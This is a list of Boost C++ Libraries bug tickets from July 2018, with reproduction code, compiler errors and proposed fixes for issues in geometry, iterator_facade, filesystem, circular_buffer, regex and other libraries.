Boost C++ Libraries: {1} Active Tickets

#13645: boost::geometry::simplify broken in 1.67

Sat, 28 Jul 2018 18:51:42 GMT

bg::simplify is broken in version 1.67. In version 1.66, it works fine.

This is the code that I ran:

std::cout << "Ring is: " << bg::wkt(*ring) << std::endl; std::cout << "Tolerance is: " << mill->tolerance; toolpath_optimised.push_back(make_shared<icoords>()); bg::simplify(*ring, *(toolpath_optimised.back()), mill->tolerance); std::cout << "Simplified result is: " << bg::wkt(*(toolpath_optimised.back())) << std::endl;

With boost 1.66, the first coordinate of the input and the first coordinate of the output are the same. With 1.67, the first coordinate of the input and the first coordinate of the output are not the same. This is incorrect behavior. Notice in the output below.

1.66 stdout:

POLYGON((1.20884 3.81395,1.19293 3.84469,1.1663 3.89695,1.13837 3.9535,1.11221 4.01006,1.08784 4.06661,1.06524 4.12317,1.04518 4.17544,1.02628 4.22659,1.00887 4.27775,0.99294 4.3289,0.978492 4.38006,0.964488 4.43232,0.952375 4.47996,0.941568 4.5276,0.932065 4.57524,0.923868 4.62288,0.91559 4.67514,0.908966 4.72079,0.903551 4.76643,0.899345 4.81207,0.896348 4.85771,0.893609 4.90997,0.891839 4.95499,0.89125 5,0.891839 5.04501,0.893609 5.09003,0.896348 5.14229,0.899345 5.18793,0.903551 5.23357,0.908966 5.27921,0.91559 5.32486,0.923868 5.37712,0.932065 5.42476,0.941568 5.4724,0.952375 5.52004,0.964488 5.56768,0.978492 5.61994,0.99294 5.6711,1.00887 5.72225,1.02628 5.77341,1.04518 5.82456,1.06524 5.87683,1.08784 5.93338,1.11221 5.98993,1.13836 6.04648,1.16629 6.10304,1.19292 6.1553,1.22687 6.21973,1.26309 6.28417,1.30155 6.3486,1.34227 6.41304,1.37621 6.4653,1.42695 6.54109,1.48072 6.61688,1.53754 6.69267,1.59739 6.76846,1.63972 6.82073,1.67765 6.86689,1.71667 6.91305,1.75679 6.9592,1.79801 7.00536,1.84033 7.05152,1.88375 7.09768,1.97387 7.19,2.02613 7.24226,2.11566 7.32986,2.20903 7.41746,2.30626 7.50507,2.40733 7.59267,2.52209 7.582,2.57436 7.57651,2.69697 7.56203,2.81959 7.54438,2.94221 7.52354,3.06483 7.49953,3.04552 7.41246,3.0034 7.21862,2.9966 7.18665,2.99153 7.16271,2.76836 6.10662,2.76698 6.10013,2.76489 6.09027,2.74216 5.97705,2.6906 5.70316,2.68837 5.69147,2.67984 5.6473,2.67213 5.60519,2.66543 5.564,2.65315 5.48319,2.65167 5.47366,2.63996 5.39965,2.63532 5.36774,2.63159 5.33635,2.63138 5.33435,2.6307 5.32801,2.62318 5.26016,2.61595 5.2276,2.60164 5.168,2.5906 5.12662,2.57778 5.08701,2.55845 5.03242,2.54629 5.00067,2.53279 4.97027,2.50892 4.92023,2.49607 4.89498,2.48215 4.87082,2.45406 4.82499,2.44052 4.80413,2.42605 4.78419,2.39396 4.74237,2.37944 4.72443,2.36407 4.70735,2.32808 4.66943,2.31204 4.65339,2.29516 4.6382,2.2553 4.60415,2.23694 4.58929,2.21769 4.57531,2.17388 4.54521,2.15204 4.53104,2.1292 4.51786,2.08948 4.4963,2.08131 4.49177,2.02613 4.46059,2 4.44505,1.97387 4.42796,1.89344 4.37298,1.86199 4.3507,1.83015 4.32662,1.67482 4.2054,1.63047 4.17003,1.58508 4.13234,1.20884 3.81395,1.22146 3.7599,1.23538 3.70586,1.2506 3.65182,1.26713 3.59778,1.28496 3.54373,1.30409 3.48969,1.32452 3.43565,1.34625 3.38161,1.36696 3.33161,1.39856 3.25817,1.43253 3.18474,1.46887 3.1113,1.50757 3.03787,1.54864 2.96443,1.59208 2.891,1.63788 2.81756,1.68606 2.74413,1.73659 2.67069,1.7895 2.59726,1.84477 2.52382,1.90241 2.45039,1.96242 2.37695,2.0248 2.30352,2.08954 2.23008,2.15665 2.15665,2.26607 2.15409,2.3755 2.15435,2.48493 2.15744,2.59435 2.16335,2.70378 2.17208,2.8132 2.18363,2.92263 2.19801,3.03206 2.2152,3.14148 2.23522,3.25091 2.25806,3.36033 2.28373,3.46976 2.31221,3.57918 2.34352,3.68861 2.37765,3.79804 2.4146,3.90746 2.45438,3.77286 2.81292,3.72912 2.9318,3.68819 3.04785,3.65009 3.16108,3.61482 3.27149,3.58236 3.37908,3.55273 3.48384,3.52591 3.58578,3.50192 3.6849,3.48076 3.7812,3.46241 3.87467,3.44689 3.96533,3.43419 4.05316,3.42431 4.13817,3.41726 4.22035,3.41302 4.29971,3.41161 4.37626,3.41161 4.44635,3.41166 4.44702,3.42417 4.61343,3.42484 4.62197,3.43487 4.74505,3.43551 4.75253,3.44435 4.85207,3.44499 4.859,3.45368 4.94885,3.45436 4.95561,3.46376 5.04538,3.46451 5.05229,3.47563 5.15095,3.47649 5.15837,3.49103 5.27952,3.49207 5.28796,3.49295 5.29492,3.49686 5.32917,3.5 5.36419,3.5 5.44571,3.5 5.45486,3.5 5.65575,3.49821 5.68007,3.49738 5.6905,3.49516 5.71697,3.46645 6.03898,3.46523 6.05293,3.39658 6.85028,3.39459 6.87361,3.34281 7.48824,3.27331 7.49253,3.20382 7.49584,3.13432 7.49817,3.06483 7.49953))

Tolerance is: 0.0004

Simplified result is: POLYGON((1.20884 3.81395,1.1663 3.89695,1.13837 3.9535,1.11221 4.01006,1.08784 4.06661,1.06524 4.12317,1.02628 4.22659,1.00887 4.27775,0.99294 4.3289,0.978492 4.38006,0.952375 4.47996,0.941568 4.5276,0.932065 4.57524,0.91559 4.67514,0.908966 4.72079,0.903551 4.76643,0.899345 4.81207,0.896348 4.85771,0.891839 4.95499,0.89125 5,0.891839 5.04501,0.893609 5.09003,0.899345 5.18793,0.903551 5.23357,0.908966 5.27921,0.923868 5.37712,0.932065 5.42476,0.941568 5.4724,0.952375 5.52004,0.978492 5.61994,0.99294 5.6711,1.00887 5.72225,1.02628 5.77341,1.06524 5.87683,1.08784 5.93338,1.11221 5.98993,1.13836 6.04648,1.16629 6.10304,1.19292 6.1553,1.22687 6.21973,1.26309 6.28417,1.30155 6.3486,1.34227 6.41304,1.37621 6.4653,1.42695 6.54109,1.48072 6.61688,1.53754 6.69267,1.59739 6.76846,1.67765 6.86689,1.71667 6.91305,1.75679 6.9592,1.79801 7.00536,1.84033 7.05152,1.88375 7.09768,1.97387 7.19,2.02613 7.24226,2.11566 7.32986,2.20903 7.41746,2.30626 7.50507,2.40733 7.59267,2.52209 7.582,2.57436 7.57651,2.69697 7.56203,2.81959 7.54438,2.94221 7.52354,3.06483 7.49953,2.99153 7.16271,2.76489 6.09027,2.74216 5.97705,2.67213 5.60519,2.63532 5.36774,2.62318 5.26016,2.60164 5.168,2.5906 5.12662,2.57778 5.08701,2.55845 5.03242,2.54629 5.00067,2.53279 4.97027,2.50892 4.92023,2.49607 4.89498,2.48215 4.87082,2.45406 4.82499,2.44052 4.80413,2.42605 4.78419,2.39396 4.74237,2.37944 4.72443,2.36407 4.70735,2.32808 4.66943,2.31204 4.65339,2.29516 4.6382,2.2553 4.60415,2.23694 4.58929,2.21769 4.57531,2.17388 4.54521,2.15204 4.53104,2.02613 4.46059,2 4.44505,1.97387 4.42796,1.89344 4.37298,1.86199 4.3507,1.83015 4.32662,1.67482 4.2054,1.63047 4.17003,1.58508 4.13234,1.20884 3.81395,1.22146 3.7599,1.23538 3.70586,1.2506 3.65182,1.26713 3.59778,1.28496 3.54373,1.30409 3.48969,1.32452 3.43565,1.36696 3.33161,1.39856 3.25817,1.43253 3.18474,1.46887 3.1113,1.50757 3.03787,1.54864 2.96443,1.59208 2.891,1.63788 2.81756,1.68606 2.74413,1.73659 2.67069,1.7895 2.59726,1.84477 2.52382,1.90241 2.45039,1.96242 2.37695,2.0248 2.30352,2.08954 2.23008,2.15665 2.15665,2.26607 2.15409,2.3755 2.15435,2.48493 2.15744,2.59435 2.16335,2.70378 2.17208,2.8132 2.18363,2.92263 2.19801,3.03206 2.2152,3.14148 2.23522,3.25091 2.25806,3.36033 2.28373,3.46976 2.31221,3.57918 2.34352,3.68861 2.37765,3.79804 2.4146,3.90746 2.45438,3.77286 2.81292,3.72912 2.9318,3.68819 3.04785,3.65009 3.16108,3.61482 3.27149,3.58236 3.37908,3.55273 3.48384,3.52591 3.58578,3.50192 3.6849,3.48076 3.7812,3.46241 3.87467,3.44689 3.96533,3.43419 4.05316,3.42431 4.13817,3.41726 4.22035,3.41302 4.29971,3.41161 4.37626,3.41161 4.44635,3.42484 4.62197,3.43487 4.74505,3.44499 4.859,3.46451 5.05229,3.47649 5.15837,3.49686 5.32917,3.5 5.36419,3.5 5.65575,3.49516 5.71697,3.46523 6.05293,3.39658 6.85028,3.34281 7.48824,3.27331 7.49253,3.20382 7.49584,3.13432 7.49817,3.06483 7.49953))

1.67 stdout:

Ring is: POLYGON((1.20884 3.81395,1.19293 3.84469,1.1663 3.89695,1.13837 3.9535,1.11221 4.01006,1.08784 4.06661,1.06524 4.12317,1.04518 4.17544,1.02628 4.22659,1.00887 4.27775,0.99294 4.3289,0.978492 4.38006,0.964488 4.43232,0.952375 4.47996,0.941568 4.5276,0.932065 4.57524,0.923868 4.62288,0.91559 4.67514,0.908966 4.72079,0.903551 4.76643,0.899345 4.81207,0.896348 4.85771,0.893609 4.90997,0.891839 4.95499,0.89125 5,0.891839 5.04501,0.893609 5.09003,0.896348 5.14229,0.899345 5.18793,0.903551 5.23357,0.908966 5.27921,0.91559 5.32486,0.923868 5.37712,0.932065 5.42476,0.941568 5.4724,0.952375 5.52004,0.964488 5.56768,0.978492 5.61994,0.99294 5.6711,1.00887 5.72225,1.02628 5.77341,1.04518 5.82456,1.06524 5.87683,1.08784 5.93338,1.11221 5.98993,1.13836 6.04648,1.16629 6.10304,1.19292 6.1553,1.22687 6.21973,1.26309 6.28417,1.30155 6.3486,1.34227 6.41304,1.37621 6.4653,1.42695 6.54109,1.48072 6.61688,1.53754 6.69267,1.59739 6.76846,1.63972 6.82073,1.67765 6.86689,1.71667 6.91305,1.75679 6.9592,1.79801 7.00536,1.84033 7.05152,1.88375 7.09768,1.97387 7.19,2.02613 7.24226,2.11566 7.32986,2.20903 7.41746,2.30626 7.50507,2.40733 7.59267,2.52209 7.582,2.57436 7.57651,2.69697 7.56203,2.81959 7.54438,2.94221 7.52354,3.06483 7.49953,3.04552 7.41246,3.0034 7.21862,2.9966 7.18665,2.99153 7.16271,2.76836 6.10662,2.76698 6.10013,2.76489 6.09027,2.74216 5.97705,2.6906 5.70316,2.68837 5.69147,2.67984 5.6473,2.67213 5.60519,2.66543 5.564,2.65315 5.48319,2.65167 5.47366,2.63996 5.39965,2.63532 5.36774,2.63159 5.33635,2.63138 5.33435,2.6307 5.32801,2.62318 5.26016,2.61595 5.2276,2.60164 5.168,2.5906 5.12662,2.57778 5.08701,2.55845 5.03242,2.54629 5.00067,2.53279 4.97027,2.50892 4.92023,2.49607 4.89498,2.48215 4.87082,2.45406 4.82499,2.44052 4.80413,2.42605 4.78419,2.39396 4.74237,2.37944 4.72443,2.36407 4.70735,2.32808 4.66943,2.31204 4.65339,2.29516 4.6382,2.2553 4.60415,2.23694 4.58929,2.21769 4.57531,2.17388 4.54521,2.15204 4.53104,2.1292 4.51786,2.08948 4.4963,2.08131 4.49177,2.02613 4.46059,2 4.44505,1.97387 4.42796,1.89344 4.37298,1.86199 4.3507,1.83015 4.32662,1.67482 4.2054,1.63047 4.17003,1.58508 4.13234,1.20884 3.81395,1.22146 3.7599,1.23538 3.70586,1.2506 3.65182,1.26713 3.59778,1.28496 3.54373,1.30409 3.48969,1.32452 3.43565,1.34625 3.38161,1.36696 3.33161,1.39856 3.25817,1.43253 3.18474,1.46887 3.1113,1.50757 3.03787,1.54864 2.96443,1.59208 2.891,1.63788 2.81756,1.68606 2.74413,1.73659 2.67069,1.7895 2.59726,1.84477 2.52382,1.90241 2.45039,1.96242 2.37695,2.0248 2.30352,2.08954 2.23008,2.15665 2.15665,2.26607 2.15409,2.3755 2.15435,2.48493 2.15744,2.59435 2.16335,2.70378 2.17208,2.8132 2.18363,2.92263 2.19801,3.03206 2.2152,3.14148 2.23522,3.25091 2.25806,3.36033 2.28373,3.46976 2.31221,3.57918 2.34352,3.68861 2.37765,3.79804 2.4146,3.90746 2.45438,3.77286 2.81292,3.72912 2.9318,3.68819 3.04785,3.65009 3.16108,3.61482 3.27149,3.58236 3.37908,3.55273 3.48384,3.52591 3.58578,3.50192 3.6849,3.48076 3.7812,3.46241 3.87467,3.44689 3.96533,3.43419 4.05316,3.42431 4.13817,3.41726 4.22035,3.41302 4.29971,3.41161 4.37626,3.41161 4.44635,3.41166 4.44702,3.42417 4.61343,3.42484 4.62197,3.43487 4.74505,3.43551 4.75253,3.44435 4.85207,3.44499 4.859,3.45368 4.94885,3.45436 4.95561,3.46376 5.04538,3.46451 5.05229,3.47563 5.15095,3.47649 5.15837,3.49103 5.27952,3.49207 5.28796,3.49295 5.29492,3.49686 5.32917,3.5 5.36419,3.5 5.44571,3.5 5.45486,3.5 5.65575,3.49821 5.68007,3.49738 5.6905,3.49516 5.71697,3.46645 6.03898,3.46523 6.05293,3.39658 6.85028,3.39459 6.87361,3.34281 7.48824,3.27331 7.49253,3.20382 7.49584,3.13432 7.49817,3.06483 7.49953))

Tolerance is: 0.0004

Simplified result is: POLYGON((3.34281 7.48824,3.27331 7.49253,3.20382 7.49584,3.13432 7.49817,3.06483 7.49953,1.20884 3.81395,1.1663 3.89695,1.13837 3.9535,1.11221 4.01006,1.08784 4.06661,1.06524 4.12317,1.02628 4.22659,1.00887 4.27775,0.99294 4.3289,0.964488 4.43232,0.952375 4.47996,0.941568 4.5276,0.932065 4.57524,0.923868 4.62288,0.908966 4.72079,0.903551 4.76643,0.899345 4.81207,0.896348 4.85771,0.891839 4.95499,0.89125 5,0.891839 5.04501,0.896348 5.14229,0.899345 5.18793,0.903551 5.23357,0.908966 5.27921,0.923868 5.37712,0.932065 5.42476,0.941568 5.4724,0.952375 5.52004,0.978492 5.61994,0.99294 5.6711,1.00887 5.72225,1.02628 5.77341,1.04518 5.82456,1.08784 5.93338,1.11221 5.98993,1.13836 6.04648,1.19292 6.1553,1.22687 6.21973,1.26309 6.28417,1.30155 6.3486,1.34227 6.41304,1.37621 6.4653,1.42695 6.54109,1.48072 6.61688,1.53754 6.69267,1.59739 6.76846,1.67765 6.86689,1.71667 6.91305,1.75679 6.9592,1.79801 7.00536,1.84033 7.05152,1.88375 7.09768,1.97387 7.19,2.02613 7.24226,2.11566 7.32986,2.20903 7.41746,2.30626 7.50507,2.40733 7.59267,2.52209 7.582,2.57436 7.57651,2.69697 7.56203,2.81959 7.54438,2.94221 7.52354,3.06483 7.49953,2.99153 7.16271,2.76489 6.09027,2.74216 5.97705,2.67213 5.60519,2.63532 5.36774,2.62318 5.26016,2.60164 5.168,2.5906 5.12662,2.57778 5.08701,2.55845 5.03242,2.54629 5.00067,2.53279 4.97027,2.50892 4.92023,2.49607 4.89498,2.48215 4.87082,2.45406 4.82499,2.44052 4.80413,2.42605 4.78419,2.39396 4.74237,2.37944 4.72443,2.36407 4.70735,2.32808 4.66943,2.31204 4.65339,2.29516 4.6382,2.2553 4.60415,2.23694 4.58929,2.21769 4.57531,2.17388 4.54521,2.15204 4.53104,2.02613 4.46059,2 4.44505,1.97387 4.42796,1.89344 4.37298,1.86199 4.3507,1.83015 4.32662,1.67482 4.2054,1.63047 4.17003,1.58508 4.13234,1.20884 3.81395,1.22146 3.7599,1.23538 3.70586,1.2506 3.65182,1.26713 3.59778,1.28496 3.54373,1.30409 3.48969,1.32452 3.43565,1.36696 3.33161,1.39856 3.25817,1.43253 3.18474,1.46887 3.1113,1.50757 3.03787,1.54864 2.96443,1.59208 2.891,1.63788 2.81756,1.68606 2.74413,1.73659 2.67069,1.7895 2.59726,1.84477 2.52382,1.90241 2.45039,1.96242 2.37695,2.0248 2.30352,2.08954 2.23008,2.15665 2.15665,2.26607 2.15409,2.3755 2.15435,2.48493 2.15744,2.59435 2.16335,2.70378 2.17208,2.8132 2.18363,2.92263 2.19801,3.03206 2.2152,3.14148 2.23522,3.25091 2.25806,3.36033 2.28373,3.46976 2.31221,3.57918 2.34352,3.68861 2.37765,3.79804 2.4146,3.90746 2.45438,3.77286 2.81292,3.72912 2.9318,3.68819 3.04785,3.65009 3.16108,3.61482 3.27149,3.58236 3.37908,3.55273 3.48384,3.52591 3.58578,3.50192 3.6849,3.48076 3.7812,3.46241 3.87467,3.44689 3.96533,3.43419 4.05316,3.42431 4.13817,3.41726 4.22035,3.41302 4.29971,3.41161 4.37626,3.41161 4.44635,3.42484 4.62197,3.43487 4.74505,3.44499 4.859,3.46451 5.05229,3.47649 5.15837,3.49686 5.32917,3.5 5.36419,3.5 5.65575,3.49516 5.71697,3.46523 6.05293,3.39658 6.85028,3.34281 7.48824))

#13644: std::iterator_traits<>::value_type is always non-const for any kind of boost::iterator_facade Iterator

Thu, 26 Jul 2018 14:32:38 GMT

I've found a bug in boost::iterator_facade. If you define your own iterator by using the facade and you try to deduce the value_type of the iterator by using std::iterator_traits, the type is always non-const independently of the iterator value type declaration.

You can reproduce this with the following test program:

#include <iterator>
#include <boost/iterator/iterator_facade.hpp>
template <typename Value>
class IteratorTest
        : public boost::iterator_facade<
        IteratorTest<Value>
        , Value
        , boost::forward_traversal_tag
        >
{
public:
        IteratorTest() {};
private:
        Value m_value{};
        friend class boost::iterator_core_access;
        template <class> friend class IteratorTest;
        template <typename OtherIteratorType>
        inline bool equal(const IteratorTest<OtherIteratorType>& other) const {
                return true;
        }
        void increment() {
        }
        inline Value& dereference() const noexcept {
                return m_value;
        }
};
template <typename T>
class DeduceType;
int main()
{
        using iterator = IteratorTest<int>;
        using const_iterator = IteratorTest<const int>;
        auto it = iterator();
        auto cit = const_iterator();
        DeduceType<decltype(it)> debug1;
        DeduceType<decltype(cit)> debug2;
        DeduceType<std::iterator_traits<decltype(it)::value_type>> debug3;
        DeduceType<std::iterator_traits<decltype(cit)::value_type>> debug4;
}

With my VS2017 compiler, I receive the following compiler output (I've omitted the implementation of DeduceType to force the compiler to tell me the type; so the compiler error here is not an Error)

1>c:\users\florian\source\repos\iterator_facade_const_bug\iterator_facade_const_bug\reproducebug.cpp(46): error C2079: 'debug1' uses undefined class 'DeduceType<iterator>'
1>c:\users\florian\source\repos\iterator_facade_const_bug\iterator_facade_const_bug\reproducebug.cpp(47): error C2079: 'debug2' uses undefined class 'DeduceType<const_iterator>'
1>c:\users\florian\source\repos\iterator_facade_const_bug\iterator_facade_const_bug\reproducebug.cpp(48): error C2079: 'debug3' uses undefined class 'DeduceType<std::iterator_traits<int>>'
1>c:\users\florian\source\repos\iterator_facade_const_bug\iterator_facade_const_bug\reproducebug.cpp(49): error C2079: 'debug4' uses undefined class 'DeduceType<std::iterator_traits<int>>'

I've found the reason for this bug in boost/iterator/iterator_facade.hpp:120

    template <
        class ValueParam
      , class CategoryOrTraversal
      , class Reference
      , class Difference
    >
    struct iterator_facade_types
    {
        typedef typename facade_iterator_category<
            CategoryOrTraversal, ValueParam, Reference
        >::type iterator_category;
        typedef typename remove_const<ValueParam>::type value_type;

If you change the line

typedef typename remove_const<ValueParam>::type value_type;

typedef ValueParam value_type;

the output of my test program is as expected:

1>c:\users\florian\source\repos\iterator_facade_const_bug\iterator_facade_const_bug\reproducebug.cpp(46): error C2079: 'debug1' uses undefined class 'DeduceType<iterator>'
1>c:\users\florian\source\repos\iterator_facade_const_bug\iterator_facade_const_bug\reproducebug.cpp(47): error C2079: 'debug2' uses undefined class 'DeduceType<const_iterator>'
1>c:\users\florian\source\repos\iterator_facade_const_bug\iterator_facade_const_bug\reproducebug.cpp(48): error C2079: 'debug3' uses undefined class 'DeduceType<std::iterator_traits<int>>'
1>c:\users\florian\source\repos\iterator_facade_const_bug\iterator_facade_const_bug\reproducebug.cpp(49): error C2079: 'debug4' uses undefined class 'DeduceType<std::iterator_traits<const int>>'

#13642: Strange behaviour of filesystem::relative on Windows

martin.apel@… — Wed, 25 Jul 2018 12:21:31 GMT

The following code snippet behaves unexpected under Windows:

   path base("C:\\Temp");
   path contained ("c:\\temp\\test");
   path result = relative(contained, base);
   std::cout << "relative returns " << result.generic_string() << "\n";

It returns an empty path, though the expected result would be something like ".\test". This is due to a case sensitive comparison, which is not consistent with how Windows treats path names.

I understand that this is the way it is documented, but if Boost.Filesystem is understood to be an abstraction layer over different operating systems, this is definitely not the desired behaviour.

I have attached a patch, which fixes the problem.

#13641: Boost.Build doesn't create config.log when --build-dir is specified

alexsharoff@… — Mon, 23 Jul 2018 11:16:44 GMT

Platform: Windows

How to reproduce:

Extract Boost sources to some directory, say D:\boost
Bootstrap Boost as usual
Build Boost like this: b2 --build-dir=D:\boost-build stage

Build process will not produce configuration log in D:\boost-build\boost\bin.v2\config.log, but will spew all configuration messages and errors to console.

What I've found:

in tools\build\src\build-system.jam, line 678: $(first-project-root).build-dir yields "/D:/boost-build/boost/bin.v2". With a slash at the beginning it's not a valid Windows path.
in tools\build\src\build-system.jam, line 679: set-log-file rule silently fails
in tools\build\src\build\configure.jam, line 280: FILE_OPEN is unable to create "/D:/boost-build/boost/bin.v2/config.log"

I don't have enough Boost.Build knowledge to provide a reasonable patch, but the problem seems to stem from build-dir project attribute prepending a slash to its value on Windows.

#13640: GCC trunk can only compile program_options with -fpermissive

anonymous — Mon, 23 Jul 2018 09:51:27 GMT

/usr/include/boost/program_options/variables_map.hpp:172:14: error: friend declaration of ‘void boost::program_options::store(const boost::program_options::basic_parsed_options<char>&, boost::program_options::variables_map&, bool)’ specifies default arguments and isn't the only declaration [-fpermissive]

void store(const basic_parsed_options<char>& options,

/usr/include/boost/program_options/variables_map.hpp:98:14: note: previous declaration of ‘void boost::program_options::store(const boost::program_options::basic_parsed_options<char>&, boost::program_options::variables_map&, bool)’

void store(const basic_parsed_options<char>& options,

#13639: monotonic_buffer_resource current_buffer() possibly broken and documentation wrong

Markus Dreseler — Sat, 21 Jul 2018 14:18:22 GMT

The comment and the function declaration do not seem to match:

   //! <b>Returns</b>:
   //!   The number of bytes of storage available for the specified alignment.
   //!
   //! <b>Note</b>: Non-standard extension.
   const void *current_buffer() const BOOST_NOEXCEPT;

Source: https://www.boost.org/doc/libs/1_67_0/boost/container/pmr/monotonic_buffer_resource.hpp

#13638: wrong system to generic error conversion on windows with ERROR_SHARING_VIOLATION

joseph@… — Wed, 18 Jul 2018 14:40:41 GMT

in system/detail/error_code.ipp

case ERROR_SHARING_VIOLATION_: return make_error_condition( permission_denied );

This does not mean permission denied. It means more like device_or_resource_busy or perhaps text_file_busy.

#13636: distance calculation can be wrong for rings with collinear segments

Tue, 17 Jul 2018 12:49:55 GMT

While unit-testing our code using boost::geometry, I stumbled upon a weird distance calculation: For two rings that are perfect 2d boxes and share the orientation and one segment length, their distance is calculated as zero although they are clearly not intersecting:

https://wandbox.org/permlink/Z9DMLo52IdhZRCFb

I made a rough sketch of the situation: https://www.desmos.com/calculator/7jbmeu9jqq.

Note the line

// slightly change the values
vehicleRing[2] = Point2D(vehicleRing[2].x() + 1e-10, vehicleRing[2].y() + 1e-10);

.. changing vehicleRing[0] or vehicleRing[1] also results in zero distance, whereas slightly moving vehicleRing[2] results in the expected distance.

Sorry for being lazy and not finding a simpler test-case (resp. simpler numbers), I just copied the values I generated in my own testing pipeline.

#13635: circular_buffer does not always initialize elements

Tue, 17 Jul 2018 08:41:42 GMT

The circular_buffer erroneously mark some sections of the buffer as initialized, which can lead to use of uninitialized memory for non-trivial classes in the insert function. The problem appears to come from the is_uninitialized function, which does not properly handle the buffer state when m_buff < m_first < m_last.

bool is_uninitialized(const_pointer p) const BOOST_NOEXCEPT {
    return p >= m_last && (m_first < m_last || p < m_first);
}

In this case, e.g. p = m_buff will be flagged as initialized since p >= m_last is false.

A proper check would be:

bool is_uninitialized(const_pointer p) const BOOST_NOEXCEPT {
    if (m_first < m_last)
        return p >= m_last || p < m_first;
    return p >= m_last && p < m_first;
}

Minimal reproducing program:

#include <vector>
#include <boost/circular_buffer.hpp>
/*
$ g++ --version | head -n1
g++ (GCC) 8.1.1 20180531
$ g++ example.cpp -o example && valgrind --tool=memcheck ./example 2>&1 | grep Invalid
==19349== Invalid write of size 8
==19349== Invalid write of size 2
==19349== Invalid free() / delete / delete[] / realloc()
*/
int main()
{
    std::vector<int> x(7), y(8); // has non-trivial move/copy
    boost::circular_buffer< std::vector<int> > buffer(3);
    buffer.push_back(x); //   [x| | ]
    buffer.push_back(x); //   [x|x| ]
    buffer.pop_front();  //   [ |x| ]
    buffer.insert(buffer.begin(), 2, y);
    // is_uninitialized(i) -> [0,0,1] (should be [1,0,1])
    // [copy      1 -> 0] :   [x|x| ] bad copy to uninitialized element
    // [copy      y -> 1] :   [x|y| ] ok
    // [construct y -> 2] :   [x|y|y] ok
    return 0; // tries to destruct uninitialized entry
}

#13634: regex duplicating literal part of replace string

joseph@… — Fri, 13 Jul 2018 14:29:28 GMT

The below code should result in 'moreless' but instead results in 'morelessless'

#include <iostream>
#include <string>
#include <boost/regex.hpp>
int main(int argc, char **argv)
{
  boost::regex::flag_type regex_flags = boost::regex_constants::normal;
  boost::regex_constants::match_flag_type match_flags = boost::regex_constants::match_default;
  boost::regex pattern("(.*)", regex_flags);
  std::string strResult;
  strResult = boost::regex_replace(std::string("more"), pattern, std::string("${1}less"), match_flags);
  std::cout << strResult << std::endl;
  char result;
  std::cin >> result;
  return 0;
}

#13633: boost/system/error_code.hpp fails to compile on clang-3.6 in gnu++14 mode due to invalid constexpr

Thu, 12 Jul 2018 06:08:28 GMT

A minimal test file that includes "boost/system/error_code.hpp" fails to compile on my clang-3.6 in gnu++14 mode with the Boost 1.68.0 beta 1. The exact command line and error message are:

rainer@rainer10:~/work/cpp_test$ schroot -c steamrt_scout_amd64 -- clang-3.6 -std=gnu++14 -c test.cpp -I boost_1_68_0/ In file included from test.cpp:1: boost_1_68_0/boost/system/error_code.hpp:226:41: error: constexpr constructor

never produces a constant expression [-Winvalid-constexpr]

BOOST_SYSTEM_CONSTEXPR explicit std_category( boost::system::err...

boost_1_68_0/boost/system/error_code.hpp:226:41: note: non-constexpr constructor

'error_category' cannot be used in a constant expression

/usr/bin/../lib/gcc/x86_64-linux-gnu/4.8/../../../../include/c++/4.8/system_error:69:5: note:

declared here

error_category() noexcept;

1 error generated.

This is a regression from Boost 1.67.

#13632: boost::function operator== is bugged on FreeBSD 11.2

hongli@… — Wed, 11 Jul 2018 13:45:32 GMT

The Passenger application server is a C++ application and uses Boost. Our FreeBSD 11.2 users ran into a crash bug: https://github.com/phusion/passenger/issues/2097

Upon further investigation, it turns out that the underlying problem is boost::function operator==. The following test program...

boost::function<void ()> f;
printf("is null: %d\n", f == NULL);

...prints 1 on macOS (as it should) and 0 on FreeBSD 11.2. I haven't tested this small test program on FreeBSD 11.1, but users reported that Passenger worked fine on FreeBSD 11.1 so the problem likely did not exist there.

Digger deeper, on FreeBSD the == operator calls this function (in boost/function/function_base.hpp):

#  if !(defined(__GNUC__) && __GNUC__ == 3 && __GNUC_MINOR__ <= 3)
// Comparisons between boost::function objects and arbitrary function
// objects. GCC 3.3 and before has an obnoxious bug that prevents this
// from working.
template<typename Functor>
  BOOST_FUNCTION_ENABLE_IF_NOT_INTEGRAL(Functor, bool)
  operator==(const function_base& f, Functor g)
  {
    if (const Functor* fp = f.template target<Functor>())
      return function_equal(*fp, g);
    else return false;
  }

...and returns false (the else branch).

While on macOS it calls this function:

inline bool operator!=(const function_base& f,
                       detail::function::useless_clear_type*)
{
  return !f.empty();
}

Just looking at the #if there already gives me the feeling that it is not right. Boost is trying to work around a GCC 3 bug but it wrongly detects Clang 6.0.0 as GCC 3.

This bug has been confirmed on both Boost 1.64 and Boost 1.67.

#13631: Need for boost::property_tree:ptree::range_type

dmilos@… — Mon, 09 Jul 2018 09:51:56 GMT

Examples
  Without:
   void my_function
    (
       boost::property_tree:ptree &p
     , std::pair< Here goes long story about I don't know what. Shoud I use asoc_iter or cons_assoc or decltyp and How. Blah, blah. Help! Help! >     &r
     , std::string const          & name
     )
    {
     r = p.equal_range( name );
    }
With:
   void my_function
    (
       boost::property_tree:ptree const&p
     , boost::property_tree:ptree::range_const_type     &r
     , std::string const          & name
     )
    {
     r = p.equal_range( name );
    }

#13630: Missing assembly files on iOS

delrieutheo@… — Mon, 09 Jul 2018 09:10:17 GMT

I am re-posting an issue I posted a while ago on Boost.Context GitHub repository (issue 76, I cannot post links apparently), since it does not seem to be very active.

Basically, there are some assembly files that are not compiled for iOS.

I am attaching a collection of patches (each patch only handle one architecture). Being a real neophyte with Boost Build, I hope someone will be able to make a single patch, solving every architecture at once.

#13629: boost::fusion::make_map cannot be called with boost::fusion::vector

Sat, 07 Jul 2018 05:48:09 GMT

The following code cannot be compiled on MSVC2017.

struct Z;
boost::fusion::make_map<Z>(boost::fusion::make_vector(1, 2));

Error is like this

1>d:\libraries\boost_1_67_0\boost\fusion\container\map\detail\map_impl.hpp(112): error C2664: 'boost::fusion::pair<test_main::test_method::Z,T>::pair(const boost::fusion::pair<test_main::test_method::Z,T> &)': cannot convert argument 1 from 'const int' to 'const boost::fusion::vector<int,int> &'
1>        with
1>        [
1>            T=boost::fusion::vector<int,int>
1>        ]
1>d:\libraries\boost_1_67_0\boost\fusion\container\map\detail\map_impl.hpp(113): note: Reason: cannot convert from 'const int' to 'const boost::fusion::vector<int,int>'
1>d:\libraries\boost_1_67_0\boost\fusion\container\map\detail\map_impl.hpp(113): note: No constructor could take the source type, or constructor overload resolution was ambiguous
